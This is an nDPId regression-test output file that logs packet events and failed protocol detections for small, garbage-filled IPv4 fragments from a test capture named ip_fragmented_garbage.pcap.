+00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8954,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8955,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213824,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfEAGRDUKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8955,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8956,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213836,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfkAGRDMKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8956,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8957,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213848,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgEAGRDEKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8957,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8958,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213860,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgkAGRC8KAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8958,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8959,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213872,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhEAGRC0KAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8959,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8960,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213887,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhkAGRCsKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8960,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8961,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213899,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhiEAGRCkKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8961,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8962,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213910,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhikAGRCcKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8962,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8963,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213923,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjEAGRCUKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8963,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8964,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213935,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjkAGRCMKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8964,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8965,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213947,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkEAGRCEKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8965,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8966,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213959,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkkAGRB8KAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8966,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8967,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213971,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlEAGRB0KAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8967,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8968,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213983,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlkAGRBsKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8968,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8969,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213996,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmEAGRBkKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8969,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8970,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214008,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmkAGRBcKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8970,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8971,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214020,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnEAGRBUKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8971,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8972,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214037,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnkAGRBMKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8972,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8973,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214049,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhoEAGRBEKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8973,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8974,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214061,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhokAGRA8KAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8974,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8975,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214075,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpEAGRA0KAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8975,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8976,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214087,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpkAGRAsKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8976,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8977,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214099,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqEAGRAkKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8977,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8978,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214111,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqkAGRAcKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8978,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8979,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214123,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrEAGRAUKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8979,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8980,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214136,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrkAGRAMKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8980,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8981,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214174,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhsEAGRAEKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8981,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8982,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214222,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhskAGQ\/8KAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8982,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8983,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214235,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtEAGQ\/0KAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8983,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8984,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214247,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtkAGQ\/sKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8984,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8985,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214259,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhuEAGQ\/kKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8985,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8986,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214271,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhukAGQ\/cKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8986,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8987,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214283,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvEAGQ\/UKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8987,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8988,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214295,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvkAGQ\/MKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8988,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8989,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214308,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwEAGQ\/EKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8989,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8990,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214320,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwkAGQ+8KAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8990,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8991,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214332,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxEAGQ+0KAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8991,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8992,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214344,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxkAGQ+sKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8992,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8993,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214365,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhyEAGQ+kKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8993,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8994,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214378,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhykAGQ+cKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8994,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8995,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214390,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzEAGQ+UKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8995,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8996,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":214401,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzkAGQ+MKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8996,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 